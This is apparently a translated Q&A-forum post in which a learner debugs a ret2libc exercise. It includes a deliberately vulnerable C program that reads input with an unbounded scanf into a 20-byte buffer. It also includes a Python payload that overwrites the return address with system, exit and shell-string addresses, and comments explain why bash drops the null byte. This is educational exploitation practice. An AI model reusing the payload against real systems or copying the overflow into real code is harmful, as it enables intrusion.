ret2libc攻击练习导致/bin/bash:警告:命令替换:输入中忽略空字节

ret2libc攻击练习导致/bin/bash:警告:命令替换:输入中忽略空字节,c,linux,gdb,exploit,C,Linux,Gdb,Exploit,我有这个c代码,我正在为其创建漏洞: #include <stdio.h> void secretFunction() { printf("Congratulations!\n"); printf("You have entered in the secret function!\n"); } void echo() { char buffer[20]; printf("Ente

我有这个c代码,我正在为其创建漏洞:

#include <stdio.h>
void secretFunction()
{
  printf("Congratulations!\n");
  printf("You have entered in the secret function!\n");
}
void echo()
{
            char buffer[20];
            printf("Enter some text:\n");
            scanf("%s", buffer);
            printf("You entered: %s\n", buffer);
}    
int main()
{
            echo();
            return 0;
}

而且没有重定向到shell,那么问题出在哪里?

你知道空字节是什么以及为什么它可能是一个问题吗?我想它在可执行文件中是被禁止的字节,你知道字符串在C中是如何工作的吗?好的,大多数shell的一个限制,包括bash,是它们将从命令替换
$(…)
输出中删除NUL字符。
0xb7e1d200
中有一个NUL字节。您可以使用另一个地址,或者让python脚本写入文件吗?看起来您已经成功地使它生成了一个shell,该shell立即退出,因为它与此无关。如果你愿意,你可以回答这个问题,说明你所采取的步骤。还有一个相关的问题,它的答案显示了如何让shell运行一些命令。
system_addr = struct.pack("<I", 0xb7e1d200)
shell_addr  = struct.pack("<I", 0xbffffef3)
exit_addr   = struct.pack("<I", 0xb7e103d0)
buf  =   "B" * 32
buf  +=  system_addr
buf  +=  exit_addr
buf  +=  shell_addr
print buf
/bin/bash: warning: command substitution: ignored null byte in input